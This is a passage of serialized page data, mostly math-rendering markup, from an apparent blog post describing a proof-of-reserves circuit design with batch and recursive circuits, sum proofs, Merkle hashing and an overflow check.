alue":93536},{"type":21,"tag":85,"props":94647,"children":94649},{"className":94648},[22145],[94650],{"type":26,"value":3016},{"type":21,"tag":85,"props":94652,"children":94654},{"className":94653},[4776,22016],[94655],{"type":26,"value":335},{"type":21,"tag":85,"props":94657,"children":94659},{"className":94658},[4776,22016],[94660],{"type":26,"value":93500},{"type":21,"tag":85,"props":94662,"children":94664},{"className":94663},[4776,22016],[94665],{"type":26,"value":22158},{"type":21,"tag":85,"props":94667,"children":94669},{"className":94668,"style":93509},[4776],[94670],{"type":26,"value":3856},{"type":21,"tag":85,"props":94672,"children":94674},{"className":94673},[4776,22016],[94675],{"type":26,"value":56860},{"type":21,"tag":85,"props":94677,"children":94679},{"className":94678},[4776,22016],[94680],{"type":26,"value":93768},{"type":21,"tag":85,"props":94682,"children":94684},{"className":94683},[4776,22016],[94685],{"type":26,"value":51589},{"type":21,"tag":85,"props":94687,"children":94689},{"className":94688},[22167],[94690],{"type":26,"value":15830},{"type":21,"tag":85,"props":94692,"children":94694},{"className":94693,"style":4955},[4857],[],{"type":21,"tag":85,"props":94696,"children":94698},{"className":94697},[4960],[94699],{"type":26,"value":2936},{"type":21,"tag":85,"props":94701,"children":94703},{"className":94702,"style":4955},[4857],[],{"type":21,"tag":85,"props":94705,"children":94707},{"className":94706},[4765],[94708,94712,94717,94722,94727,94732,94737,94742,94747,94752,94757,94762,94767,94772,94777,94782,94787,94792,94849,94854,94859,94864,94869,94874,94879,94884,94889],{"type":21,"tag":85,"props":94709,"children":94711},{"className":94710,"style":93451},[4770],[],{"type":21,"tag":85,"props":94713,"children":94715},{"className":94714},[4776],[94716],{"type":26,"value":94099},{"type":21,"tag":85,"props":94718,"children":94720},{"className":94719},[4857],[94721],{"type":26,"value":22117},{"type":21,"tag":85,"props":94723,"children":94725},{"className":94724},[4776,22016],[94726],{"type":26,"value":335},{"type":21,"tag":85,"props":94728,"children":94730},{"className":94729},[4776,22016],[94731],{"type":26,"value":93966},{"type":21,"tag":85,"props":94733,"children":94735},{"className":94734},[4776,22016],[94736],{"type":26,"value":93768},{"type":21,"tag":85,"props":94738,"children":94740},{"className":94739},[4776,22016],[94741],{"type":26,"value":56860},{"type":21,"tag":85,"props":94743,"children":94745},{"className":94744},[4776,22016],[94746],{"type":26,"value":22158},{"type":21,"tag":85,"props":94748,"children":94750},{"className":94749,"style":93509},[4776],[94751],{"type":26,"value":3856},{"type":21,"tag":85,"props":94753,"children":94755},{"className":94754},[4776,22016],[94756],{"type":26,"value":335},{"type":21,"tag":85,"props":94758,"children":94760},{"className":94759},[4776,22016],[94761],{"type":26,"value":93500},{"type":21,"tag":85,"props":94763,"children":94765},{"className":94764},[4776,22016],[94766],{"type":26,"value":22158},{"type":21,"tag":85,"props":94768,"children":94770},{"className":94769,"style":93509},[4776],[94771],{"type":26,"value":3856},{"type":21,"tag":85,"props":94773,"children":94775},{"className":94774},[4776,22016],[94776],{"type":26,"value":93517},{"type":21,"tag":85,"props":94778,"children":94780},{"className":94779,"style":93521},[4776,22016],[94781],{"type":26,"value":93524},{"type":21,"tag":85,"props":94783,"children":94785},{"className":94784},[4776,22016],[94786],{"type":26,"value":93530},{"type":21,"tag":85,"props":94788,"children":94790},{"className":94789},[4776,22016],[94791],{"type":26,"value":93536},{"type":21,"tag":85,"props":94793,"children":94795},{"className":94794},[4776],[94796,94801],{"type":21,"tag":85,"props":94797,"children":94799},{"className":94798},[4776,22016],[94800],{"type":26,"value":11067},{"type":21,"tag":85,"props":94802,"children":94804},{"className":94803},[4793],[94805],{"type":21,"tag":85,"props":94806,"children":94808},{"className":94807},[4798,22070],[94809,94838],{"type":21,"tag":85,"props":94810,"children":94812},{"className":94811},[4803],[94813,94833],{"type":21,"tag":85,"props":94814,"children":94816},{"className":94815,"style":94038},[4808],[94817],{"type":21,"tag":85,"props":94818,"children":94819},{"style":93565},[94820,94824],{"type":21,"tag":85,"props":94821,"children":94823},{"className":94822,"style":4818},[4817],[],{"type":21,"tag":85,"props":94825,"children":94827},{"className":94826},[4823,4824,4825,4826],[94828],{"type":21,"tag":85,"props":94829,"children":94831},{"className":94830},[4776,22016,4826],[94832],{"type":26,"value":3003},{"type":21,"tag":85,"props":94834,"children":94836},{"className":94835},[22173],[94837],{"type":26,"value":22176},{"type":21,"tag":85,"props":94839,"children":94841},{"className":94840},[4803],[94842],{"type":21,"tag":85,"props":94843,"children":94845},{"className":94844,"style":93592},[4808],[94846],{"type":21,"tag":85,"props":94847,"children":94848},{},[],{"type":21,"tag":85,"props":94850,"children":94852},{"className":94851},[22145],[94853],{"type":26,"value":3016},{"type":21,"tag":85,"props":94855,"children":94857},{"className":94856},[4776,22016],[94858],{"type":26,"value":335},{"type":21,"tag":85,"props":94860,"children":94862},{"className":94861},[4776,22016],[94863],{"type":26,"value":93500},{"type":21,"tag":85,"props":94865,"children":94867},{"className":94866},[4776,22016],[94868],{"type":26,"value":22158},{"type":21,"tag":85,"props":94870,"children":94872},{"className":94871,"style":93509},[4776],[94873],{"type":26,"value":3856},{"type":21,"tag":85,"props":94875,"children":94877},{"className":94876},[4776,22016],[94878],{"type":26,"value":56860},{"type":21,"tag":85,"props":94880,"children":94882},{"className":94881},[4776,22016],[94883],{"type":26,"value":93768},{"type":21,"tag":85,"props":94885,"children":94887},{"className":94886},[4776,22016],[94888],{"type":26,"value":51589},{"type":21,"tag":85,"props":94890,"children":94892},{"className":94891},[22167],[94893],{"type":26,"value":15830},{"type":26,"value":790},{"type":21,"tag":873,"props":94896,"children":94897},{},[94898],{"type":26,"value":94899},"(sum proof)",{"type":21,"tag":845,"props":94901,"children":94902},{},[94903,95292,95293],{"type":21,"tag":66,"props":94904,"children":94906},{"className":94905},[4748,4749],[94907],{"type":21,"tag":85,"props":94908,"children":94910},{"className":94909},[4754],[94911],{"type":21,"tag":85,"props":94912,"children":94914},{"className":94913,"ariaHidden":4760},[4759],[94915,95001],{"type":21,"tag":85,"props":94916,"children":94918},{"className":94917},[4765],[94919,94924,94929,94935,94941,94946,94951,94956,94961,94967,94972,94978,94983,94988,94992,94997],{"type":21,"tag":85,"props":94920,"children":94923},{"className":94921,"style":94922},[4770],"height:1.0044em;vertical-align:-0.31em;",[],{"type":21,"tag":85,"props":94925,"children":94927},{"className":94926},[4776,22016],[94928],{"type":26,"value":51589},{"type":21,"tag":85,"props":94930,"children":94932},{"className":94931,"style":93509},[4776,22016],[94933],{"type":26,"value":94934},"er",{"type":21,"tag":85,"props":94936,"children":94939},{"className":94937,"style":94938},[4776,22016],"margin-right:0.03148em;",[94940],{"type":26,"value":89146},{"type":21,"tag":85,"props":94942,"children":94944},{"className":94943,"style":93521},[4776,22016],[94945],{"type":26,"value":93524},{"type":21,"tag":85,"props":94947,"children":94949},{"className":94948},[4776,22016],[94950],{"type":26,"value":51910},{"type":21,"tag":85,"props":94952,"children":94954},{"className":94953,"style":93509},[4776],[94955],{"type":26,"value":3856},{"type":21,"tag":85,"props":94957,"children":94959},{"className":94958},[4776,22016],[94960],{"type":26,"value":22158},{"type":21,"tag":85,"props":94962,"children":94964},{"className":94963},[4776,22016],[94965],{"type":26,"value":94966},"ree",{"type":21,"tag":85,"props":94968,"children":94970},{"className":94969,"style":93509},[4776],[94971],{"type":26,"value":3856},{"type":21,"tag":85,"props":94973,"children":94975},{"className":94974},[4776,22016],[94976],{"type":26,"value":94977},"ha",{"type":21,"tag":85,"props":94979,"children":94981},{"className":94980},[4776,22016],[94982],{"type":26,"value":11067},{"type":21,"tag":85,"props":94984,"children":94986},{"className":94985},[4776,22016],[94987],{"type":26,"value":84807},{"type":21,"tag":85,"props":94989,"children":94991},{"className":94990,"style":4955},[4857],[],{"type":21,"tag":85,"props":94993,"children":94995},{"className":94994},[4960],[94996],{"type":26,"value":2936},{"type":21,"tag":85,"props":94998,"children":95000},{"className":94999,"style":4955},[4857],[],{"type":21,"tag":85,"props":95002,"children":95004},{"className":95003},[4765],[95005,95009,95014,95019,95024,95029,95034,95039,95044,95049,95054,95111,95116,95120,95125,95130,95187,95192,95197,95201,95206,95211,95215,95220,95225,95287],{"type":21,"tag":85,"props":95006,"children":95008},{"className":95007,"style":4878},[4770],[],{"type":21,"tag":85,"props":95010,"children":95012},{"className":95011,"style":22017},[4776,22016],[95013],{"type":26,"value":22020},{"type":21,"tag":85,"props":95015,"children":95017},{"className":95016},[4776,22016],[95018],{"type":26,"value":93463},{"type":21,"tag":85,"props":95020,"children":95022},{"className":95021},[4776,22016],[95023],{"type":26,"value":3003},{"type":21,"tag":85,"props":95025,"children":95027},{"className":95026},[4776,22016],[95028],{"type":26,"value":71024},{"type":21,"tag":85,"props":95030,"children":95032},{"className":95031},[4776,22016],[95033],{"type":26,"value":93479},{"type":21,"tag":85,"props":95035,"children":95037},{"className":95036},[4776,22016],[95038],{"type":26,"value":56860},{"type":21,"tag":85,"props":95040,"children":95042},{"className":95041},[22145],[95043],{"type":26,"value":1439},{"type":21,"tag":85,"props":95045,"children":95047},{"className":95046},[4776,22016],[95048],{"type":26,"value":94977},{"type":21,"tag":85,"props":95050,"children":95052},{"className":95051},[4776,22016],[95053],{"type":26,"value":11067},{"type":21,"tag":85,"props":95055,"children":95057},{"className":95056},[4776],[95058,95063],{"type":21,"tag":85,"props":95059,"children":95061},{"className":95060},[4776,22016],[95062],{"type":26,"value":84807},{"type":21,"tag":85,"props":95064,"children":95066},{"className":95065},[4793],[95067],{"type":21,"tag":85,"props":95068,"children":95070},{"className":95069},[4798,22070],[95071,95100],{"type":21,"tag":85,"props":95072,"children":95074},{"className":95073},[4803],[95075,95095],{"type":21,"tag":85,"props":95076,"children":95078},{"className":95077,"style":93561},[4808],[95079],{"type":21,"tag":85,"props":95080,"children":95081},{"style":93565},[95082,95086],{"type":21,"tag":85,"props":95083,"children":95085},{"className":95084,"style":4818},[4817],[],{"type":21,"tag":85,"props":95087,"children":95089},{"className":95088},[4823,4824,4825,4826],[95090],{"type":21,"tag":85,"props":95091,"children":95093},{"className":95092},[4776,4826],[95094],{"type":26,"value":4789},{"type":21,"tag":85,"props":95096,"children":95098},{"className":95097},[22173],[95099],{"type":26,"value":22176},{"type":21,"tag":85,"props":95101,"children":95103},{"className":95102},[4803],[95104],{"type":21,"tag":85,"props":95105,"children":95107},{"className":95106,"style":93592},[4808],[95108],{"type":21,"tag":85,"props":95109,"children":95110},{},[],{"type":21,"tag":85,"props":95112,"children":95114},{"className":95113},[4889],[95115],{"type":26,"value":4892},{"type":21,"tag":85,"props":95117,"children":95119},{"className":95118,"style":4896},[4857],[],{"type":21,"tag":85,"props":95121,"children":95123},{"className":95122},[4776,22016],[95124],{"type":26,"value":94977},{"type":21,"tag":85,"props":95126,"children":95128},{"className":95127},[4776,22016],[95129],{"type":26,"value":11067},{"type":21,"tag":85,"props":95131,"children":95133},{"className":95132},[4776],[95134,95139],{"type":21,"tag":85,"props":95135,"children":95137},{"className":95136},[4776,22016],[95138],{"type":26,"value":84807},{"type":21,"tag":85,"props":95140,"children":95142},{"className":95141},[4793],[95143],{"type":21,"tag":85,"props":95144,"children":95146},{"className":95145},[4798,22070],[95147,95176],{"type":21,"tag":85,"props":95148,"children":95150},{"className":95149},[4803],[95151,95171],{"type":21,"tag":85,"props":95152,"children":95154},{"className":95153,"style":93561},[4808],[95155],{"type":21,"tag":85,"props":95156,"children":95157},{"style":93565},[95158,95162],{"type":21,"tag":85,"props":95159,"children":95161},{"className":95160,"style":4818},[4817],[],{"type":21,"tag":85,"props":95163,"children":95165},{"className":95164},[4823,4824,4825,4826],[95166],{"type":21,"tag":85,"props":95167,"children":95169},{"className":95168},[4776,4826],[95170],{"type":26,"value":4779},{"type":21,"tag":85,"props":95172,"children":95174},{"className":95173},[22173],[95175],{"type":26,"value":22176},{"type":21,"tag":85,"props":95177,"children":95179},{"className":95178},[4803],[95180],{"type":21,"tag":85,"props":95181,"children":95183},{"className":95182,"style":93592},[4808],[95184],{"type":21,"tag":85,"props":95185,"children":95186},{},[],{"type":21,"tag":85,"props":95188,"children":95190},{"className":95189},[4889],[95191],{"type":26,"value":4892},{"type":21,"tag":85,"props":95193,"children":95195},{"className":95194},[4857],[95196],{"type":26,"value":22117},{"type":21,"tag":85,"props":95198,"children":95200},{"className":95199,"style":4896},[4857],[],{"type":21,"tag":85,"props":95202,"children":95204},{"className":95203},[4776],[95205],{"type":26,"value":10004},{"type":21,"tag":85,"props":95207,"children":95209},{"className":95208},[4889],[95210],{"type":26,"value":4892},{"type":21,"tag":85,"props":95212,"children":95214},{"className":95213,"style":4896},[4857],[],{"type":21,"tag":85,"props":95216,"children":95218},{"className":95217},[4776,22016],[95219],{"type":26,"value":94977},{"type":21,"tag":85,"props":95221,"children":95223},{"className":95222},[4776,22016],[95224],{"type":26,"value":11067},{"type":21,"tag":85,"props":95226,"children":95228},{"className":95227},[4776],[95229,95234],{"type":21,"tag":85,"props":95230,"children":95232},{"className":95231},[4776,22016],[95233],{"type":26,"value":84807},{"type":21,"tag":85,"props":95235,"children":95237},{"className":95236},[4793],[95238],{"type":21,"tag":85,"props":95239,"children":95241},{"className":95240},[4798,22070],[95242,95276],{"type":21,"tag":85,"props":95243,"children":95245},{"className":95244},[4803],[95246,95271],{"type":21,"tag":85,"props":95247,"children":95249},{"className":95248,"style":93561},[4808],[95250],{"type":21,"tag":85,"props":95251,"children":95252},{"style":93565},[95253,95257],{"type":21,"tag":85,"props":95254,"children":95256},{"className":95255,"style":4818},[4817],[],{"type":21,"tag":85,"props":95258,"children":95260},{"className":95259},[4823,4824,4825,4826],[95261],{"type":21,"tag":85,"props":95262,"children":95264},{"className":95263},[4776,4826],[95265],{"type":21,"tag":85,"props":95266,"children":95268},{"className":95267},[4776,4826],[95269],{"type":26,"value":95270},"511",{"type":21,"tag":85,"props":95272,"children":95274},{"className":95273},[22173],[95275],{"type":26,"value":22176},{"type":21,"tag":85,"props":95277,"children":95279},{"className":95278},[4803],[95280],{"type":21,"tag":85,"props":95281,"children":95283},{"className":95282,"style":93592},[4808],[95284],{"type":21,"tag":85,"props":95285,"children":95286},{},[],{"type":21,"tag":85,"props":95288,"children":95290},{"className":95289},[22167],[95291],{"type":26,"value":1900},{"type":26,"value":790},{"type":21,"tag":873,"props":95294,"children":95295},{},[95296],{"type":26,"value":95297},"(merkle tree hash)",{"type":21,"tag":845,"props":95299,"children":95300},{},[95301,95576,95577,95582,95584,95589],{"type":21,"tag":66,"props":95302,"children":95304},{"className":95303},[4748,4749],[95305],{"type":21,"tag":85,"props":95306,"children":95308},{"className":95307},[4754],[95309],{"type":21,"tag":85,"props":95310,"children":95312},{"className":95311,"ariaHidden":4760},[4759],[95313,95506],{"type":21,"tag":85,"props":95314,"children":95316},{"className":95315},[4765],[95317,95321,95326,95331,95336,95341,95346,95351,95356,95361,95366,95371,95376,95381,95386,95391,95448,95453,95458,95463,95468,95473,95478,95483,95488,95493,95497,95502],{"type":21,"tag":85,"props":95318,"children":95320},{"className":95319,"style":93451},[4770],[],{"type":21,"tag":85,"props":95322,"children":95324},{"className":95323},[4776,22016],[95325],{"type":26,"value":335},{"type":21,"tag":85,"props":95327,"children":95329},{"className":95328},[4776,22016],[95330],{"type":26,"value":93966},{"type":21,"tag":85,"props":95332,"children":95334},{"className":95333},[4776,22016],[95335],{"type":26,"value":93768},{"type":21,"tag":85,"props":95337,"children":95339},{"className":95338},[4776,22016],[95340],{"type":26,"value":56860},{"type":21,"tag":85,"props":95342,"children":95344},{"className":95343},[4776,22016],[95345],{"type":26,"value":22158},{"type":21,"tag":85,"props":95347,"children":95349},{"className":95348,"style":93509},[4776],[95350],{"type":26,"value":3856},{"type":21,"tag":85,"props":95352,"children":95354},{"className":95353},[4776,22016],[95355],{"type":26,"value":335},{"type":21,"tag":85,"props":95357,"children":95359},{"className":95358},[4776,22016],[95360],{"type":26,"value":93500},{"type":21,"tag":85,"props":95362,"children":95364},{"className":95363},[4776,22016],[95365],{"type":26,"value":22158},{"type":21,"tag":85,"props":95367,"children":95369},{"className":95368,"style":93509},[4776],[95370],{"type":26,"value":3856},{"type":21,"tag":85,"props":95372,"children":95374},{"className":95373},[4776,22016],[95375],{"type":26,"value":93517},{"type":21,"tag":85,"props":95377,"children":95379},{"className":95378,"style":93521},[4776,22016],[95380],{"type":26,"value":93524},{"type":21,"tag":85,"props":95382,"children":95384},{"className":95383},[4776,22016],[95385],{"type":26,"value":93530},{"type":21,"tag":85,"props":95387,"children":95389},{"className":95388},[4776,22016],[95390],{"type":26,"value":93536},{"type":21,"tag":85,"props":95392,"children":95394},{"className":95393},[4776],[95395,95400],{"type":21,"tag":85,"props":95396,"children":95398},{"className":95397},[4776,22016],[95399],{"type":26,"value":11067},{"type":21,"tag":85,"props":95401,"children":95403},{"className":95402},[4793],[95404],{"type":21,"tag":85,"props":95405,"children":95407},{"className":95406},[4798,22070],[95408,95437],{"type":21,"tag":85,"props":95409,"children":95411},{"className":95410},[4803],[95412,95432],{"type":21,"tag":85,"props":95413,"children":95415},{"className":95414,"style":94038},[4808],[95416],{"type":21,"tag":85,"props":95417,"children":95418},{"style":93565},[95419,95423],{"type":21,"tag":85,"props":95420,"children":95422},{"className":95421,"style":4818},[4817],[],{"type":21,"tag":85,"props":95424,"children":95426},{"className":95425},[4823,4824,4825,4826],[95427],{"type":21,"tag":85,"props":95428,"children":95430},{"className":95429},[4776,22016,4826],[95431],{"type":26,"value":3003},{"type":21,"tag":85,"props":95433,"children":95435},{"className":95434},[22173],[95436],{"type":26,"value":22176},{"type":21,"tag":85,"props":95438,"children":95440},{"className":95439},[4803],[95441],{"type":21,"tag":85,"props":95442,"children":95444},{"className":95443,"style":93592},[4808],[95445],{"type":21,"tag":85,"props":95446,"children":95447},{},[],{"type":21,"tag":85,"props":95449,"children":95451},{"className":95450},[22145],[95452],{"type":26,"value":3016},{"type":21,"tag":85,"props":95454,"children":95456},{"className":95455},[4776,22016],[95457],{"type":26,"value":335},{"type":21,"tag":85,"props":95459,"children":95461},{"className":95460},[4776,22016],[95462],{"type":26,"value":93500},{"type":21,"tag":85,"props":95464,"children":95466},{"className":95465},[4776,22016],[95467],{"type":26,"value":22158},{"type":21,"tag":85,"props":95469,"children":95471},{"className":95470,"style":93509},[4776],[95472],{"type":26,"value":3856},{"type":21,"tag":85,"props":95474,"children":95476},{"className":95475},[4776,22016],[95477],{"type":26,"value":56860},{"type":21,"tag":85,"props":95479,"children":95481},{"className":95480},[4776,22016],[95482],{"type":26,"value":93768},{"type":21,"tag":85,"props":95484,"children":95486},{"className":95485},[4776,22016],[95487],{"type":26,"value":51589},{"type":21,"tag":85,"props":95489,"children":95491},{"className":95490},[22167],[95492],{"type":26,"value":15830},{"type":21,"tag":85,"props":95494,"children":95496},{"className":95495,"style":4955},[4857],[],{"type":21,"tag":85,"props":95498,"children":95500},{"className":95499},[4960],[95501],{"type":26,"value":117},{"type":21,"tag":85,"props":95503,"children":95505},{"className":95504,"style":4955},[4857],[],{"type":21,"tag":85,"props":95507,"children":95509},{"className":95508},[4765],[95510,95514,95521,95526,95532,95537,95542,95547,95553,95558,95564,95570],{"type":21,"tag":85,"props":95511,"children":95513},{"className":95512,"style":93451},[4770],[],{"type":21,"tag":85,"props":95515,"children":95518},{"className":95516,"style":95517},[4776,22016],"margin-right:0.10903em;",[95519],{"type":26,"value":95520},"M",{"type":21,"tag":85,"props":95522,"children":95524},{"className":95523},[4776,22016],[95525],{"type":26,"value":77229},{"type":21,"tag":85,"props":95527,"children":95530},{"className":95528,"style":95529},[4776,22016],"margin-right:0.07847em;",[95531],{"type":26,"value":456},{"type":21,"tag":85,"props":95533,"children":95535},{"className":95534,"style":93509},[4776],[95536],{"type":26,"value":3856},{"type":21,"tag":85,"props":95538,"children":95540},{"className":95539,"style":22475},[4776,22016],[95541],{"type":26,"value":22478},{"type":21,"tag":85,"props":95543,"children":95545},{"className":95544},[4776,22016],[95546],{"type":26,"value":77229},{"type":21,"tag":85,"props":95548,"children":95550},{"className":95549,"style":22475},[4776,22016],[95551],{"type":26,"value":95552},"FE",{"type":21,"tag":85,"props":95554,"children":95556},{"className":95555,"style":93509},[4776],[95557],{"type":26,"value":3856},{"type":21,"tag":85,"props":95559,"children":95561},{"className":95560,"style":95529},[4776,22016],[95562],{"type":26,"value":95563},"I",{"type":21,"tag":85,"props":95565,"children":95567},{"className":95566,"style":22017},[4776,22016],[95568],{"type":26,"value":95569},"NT",{"type":21,"tag":85,"props":95571,"children":95573},{"className":95572},[4776],[95574],{"type":26,"value":95575},"/512",{"type":26,"value":790},{"type":21,"tag":873,"props":95578,"children":95579},{},[95580],{"type":26,"value":95581},"(overflow check)",{"type":26,"value":95583}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":21,"tag":66,"props":95585,"children":95587},{"className":95586},[],[95588],{"type":26,"value":93367},{"type":26,"value":1900},{"type":21,"tag":22,"props":95591,"children":95592},{},[95593],{"type":26,"value":95594},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":21,"tag":22,"props":95596,"children":95597},{},[95598],{"type":21,"tag":4681,"props":95599,"children":95601},{"alt":51034,"src":95600},"/posts/por/batch-circuit-inputs.png",[],{"type":21,"tag":10022,"props":95603,"children":95605},{"id":95604},"recursive-circuit",[95606],{"type":26,"value":95607},"Recursive Circuit",{"type":21,"tag":22,"props":95609,"children":95610},{},[95611],{"type":26,"value":95612},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":21,"tag":22,"props":95614,"children":95615},{},[95616],{"type":21,"tag":873,"props":95617,"children":95618},{},[95619],{"type":26,"value":93881},{"type":21,"tag":17108,"props":95621,"children":95622},{},[95623,95627,95632],{"type":21,"tag":845,"props":95624,"children":95625},{},[95626],{"type":26,"value":93899},{"type":21,"tag":845,"props":95628,"children":95629},{},[95630],{"type":26,"value":95631},"Asset prices",{"type":21,"tag":845,"props":95633,"children":95634},{},[95635],{"type":26,"value":93894},{"type":21,"tag":22,"props":95637,"children":95638},{},[95639],{"type":21,"tag":873,"props":95640,"children":95641},{},[95642],{"type":26,"value":93907},{"type":21,"tag":17108,"props":95644,"children":95645},{},[95646],{"type":21,"tag":845,"props":95647,"children":95648},{},[95649],{"type":26,"value":95650},"8 subproofs",{"type":21,"tag":22,"props":95652,"children":95653},{},[95654],{"type":21,"tag":873,"props":95655,"children":95656},{},[95657],{"type":26,"value":93928},{"type":21,"tag":17108,"props":95659,"children":95660},{},[95661,96071,96402,96769,97156],{"type":21,"tag":845,"props":95662,"children":95663},{},[95664,96066,96067],{"type":21,"tag":66,"props":95665,"children":95667},{"className":95666},[4748,4749],[95668],{"type":21,"tag":85,"props":95669,"children":95671},{"className":95670},[4754],[95672],{"type":21,"tag":85,"props":95673,"children":95675},{"className":95674,"ariaHidden":4760},[4759],[95676,95812],{"type":21,"tag":85,"props":95677,"children":95679},{"className":95678},[4765],[95680,95684,95689,95694,95699,95704,95709,95714,95719,95724,95729,95734,95739,95744,95749,95754,95759,95764,95769,95774,95779,95784,95789,95794,95799,95803,95808],{"type":21,"tag":85,"props":95681,"children":95683},{"className":95682,"style":93451},[4770],[],{"type":21,"tag":85,"props":95685,"children":95687},{"className":95686},[4776,22016],[95688],{"type":26,"value":22158},{"type":21,"tag":85,"props":95690,"children":95692},{"className":95691},[4776,22016],[95693],{"type":26,"value":93479},{"type":21,"tag":85,"props":95695,"children":95697},{"className":95696},[4776,22016],[95698],{"type":26,"value":22158},{"type":21,"tag":85,"props":95700,"children":95702},{"className":95701},[4776,22016],[95703],{"type":26,"value":335},{"type":21,"tag":85,"props":95705,"children":95707},{"className":95706,"style":93521},[4776,22016],[95708],{"type":26,"value":93524},{"type":21,"tag":85,"props":95710,"children":95712},{"className":95711,"style":93509},[4776],[95713],{"type":26,"value":3856},{"type":21,"tag":85,"props":95715,"children":95717},{"className":95716},[4776,22016],[95718],{"type":26,"value":335},{"type":21,"tag":85,"props":95720,"children":95722},{"className":95721},[4776,22016],[95723],{"type":26,"value":93500},{"type":21,"tag":85,"props":95725,"children":95727},{"className":95726},[4776,22016],[95728],{"type":26,"value":22158},{"type":21,"tag":85,"props":95730,"children":95732},{"className":95731,"style":93509},[4776],[95733],{"type":26,"value":3856},{"type":21,"tag":85,"props":95735,"children":95737},{"className":95736},[4776,22016],[95738],{"type":26,"value":93517},{"type":21,"tag":85,"props":95740,"children":95742},{"className":95741,"style":93521},[4776,22016],[95743],{"type":26,"value":93524},{"type":21,"tag":85,"props":95745,"children":95747},{"className":95746},[4776,22016],[95748],{"type":26,"value":93530},{"type":21,"tag":85,"props":95750,"children":95752},{"className":95751},[4776,22016],[95753],{"type":26,"value":93536},{"type":21,"tag":85,"props":95755,"children":95757},{"className":95756},[22145],[95758],{"type":26,"value":3016},{"type":21,"tag":85,"props":95760,"children":95762},{"className":95761},[4776,22016],[95763],{"type":26,"value":335},{"type":21,"tag":85,"props":95765,"children":95767},{"className":95766},[4776,22016],[95768],{"type":26,"value":93500},{"type":21,"tag":85,"props":95770,"children":95772},{"className":95771},[4776,22016],[95773],{"type":26,"value":22158},{"type":21,"tag":85,"props":95775,"children":95777},{"className":95776,"style":93509},[4776],[95778],{"type":26,"value":3856},{"type":21,"tag":85,"props":95780,"children":95782},{"className":95781},[4776,22016],[95783],{"type":26,"value":56860},{"type":21,"tag":85,"props":95785,"children":95787},{"className":95786},[4776,22016],[95788],{"type":26,"value":93768},{"type":21,"tag":85,"props":95790,"children":95792},{"className":95791},[4776,22016],[95793],{"type":26,"value":51589},{"type":21,"tag":85,"props":95795,"children":95797},{"className":95796},[22167],[95798],{"type":26,"value":15830},{"type":21,"tag":85,"props":95800,"children":95802},{"className":95801,"style":4955},[4857],[],{"type":21,"tag":85,"props":95804,"children":95806},{"className":95805},[4960],[95807],{"type":26,"value":2936},{"type":21,"tag":85,"props":95809,"children":95811},{"className":95810,"style":4955},[4857],[],{"type":21,"tag":85,"props":95813,"children":95815},{"className":95814},[4765],[95816,95820,95825,95830,95835,95840,95845,95850,95856,95915,95920,95925,95930,95935,95940,95945,95950,95955,95961,95966,95971,95976,95981,95986,95991,95996,96001,96006,96011,96016,96021,96026,96031,96036,96041,96046,96051,96056,96061],{"type":21,"tag":85,"props":95817,"children":95819},{"className":95818,"style":93451},[4770],[],{"type":21,"tag":85,"props":95821,"children":95823},{"className":95822},[4776],[95824],{"type":26,"value":94099},{"type":21,"tag":85,"props":95826,"children":95828},{"className":95827},[4857],[95829],{"type":26,"value":22117},{"type":21,"tag":85,"props":95831,"children":95833},{"className":95832},[4776,22016],[95834],{"type":26,"value":11067},{"type":21,"tag":85,"props":95836,"children":95838},{"className":95837},[4776,22016],[95839],{"type":26,"value":93768},{"type":21,"tag":85,"props":95841,"children":95843},{"className":95842},[4776,22016],[95844],{"type":26,"value":3994},{"type":21,"tag":85,"props":95846,"children":95848},{"className":95847},[4776,22016],[95849],{"type":26,"value":22},{"type":21,"tag":85,"props":95851,"children":95853},{"className":95852},[4776,22016],[95854],{"type":26,"value":95855},"roo",{"type":21,"tag":85,"props":95857,"children":95859},{"className":95858},[4776],[95860,95866],{"type":21,"tag":85,"props":95861,"children":95864},{"className":95862,"style":95863},[4776,22016],"margin-right:0.10764em;",[95865],{"type":26,"value":33531},{"type":21,"tag":85,"props":95867,"children":95869},{"className":95868},[4793],[95870],{"type":21,"tag":85,"props":95871,"children":95873},{"className":95872},[4798,22070],[95874,95904],{"type":21,"tag":85,"props":95875,"children":95877},{"className":95876},[4803],[95878,95899],{"type":21,"tag":85,"props":95879,"children":95881},{"className":95880,"style":94038},[4808],[95882],{"type":21,"tag":85,"props":95883,"children":95885},{"style":95884},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95886,95890],{"type":21,"tag":85,"props":95887,"children":95889},{"className":95888,"style":4818},[4817],[],{"type":21,"tag":85,"props":95891,"children":95893},{"className":95892},[4823,4824,4825,4826],[95894],{"type":21,"tag":85,"props":95895,"children":95897},{"className":95896},[4776,22016,4826],[95898],{"type":26,"value":3003},{"type":21,"tag":85,"props":95900,"children":95902},{"className":95901},[22173],[95903],{"type":26,"value":22176},{"type":21,"tag":85,"props":95905,"children":95907},{"className":95906},[4803],[95908],{"type":21,"tag":85,"props":95909,"children":95911},{"className":95910,"style":93592},[4808],[95912],{"type":21,"tag":85,"props":95913,"children":95914},{},[],{"type":21,"tag":85,"props":95916,"children":95918},{"className":95917},[4776],[95919],{"type":26,"value":73},{"type":21,"tag":85,"props":95921,"children":95923},{"className":95922},[4776,22016],[95924],{"type":26,"value":22},{"type":21,"tag":85,"props":95926,"children":95928},{"className":95927},[4776,22016],[95929],{"type":26,"value":93768},{"type":21,"tag":85,"props":95931,"children":95933},{"className":95932},[4776,22016],[95934],{"type":26,"value":3994},{"type":21,"tag":85,"props":95936,"children":95938},{"className":95937,"style":93521},[4776,22016],[95939],{"type":26,"value":93524},{"type":21,"tag":85,"props":95941,"children":95943},{"className":95942},[4776,22016],[95944],{"type":26,"value":3003},{"type":21,"tag":85,"props":95946,"children":95948},{"className":95947},[4776,22016],[95949],{"type":26,"value":3918},{"type":21,"tag":85,"props":95951,"children":95953},{"className":95952,"style":93509},[4776],[95954],{"type":26,"value":3856},{"type":21,"tag":85,"props":95956,"children":95958},{"className":95957},[4776,22016],[95959],{"type":26,"value":95960},"in",{"type":21,"tag":85,"props":95962,"children":95964},{"className":95963},[4776,22016],[95965],{"type":26,"value":22},{"type":21,"tag":85,"props":95967,"children":95969},{"className":95968},[4776,22016],[95970],{"type":26,"value":93768},{"type":21,"tag":85,"props":95972,"children":95974},{"className":95973},[4776,22016],[95975],{"type":26,"value":22158},{"type":21,"tag":85,"props":95977,"children":95979},{"className":95978},[4776],[95980],{"type"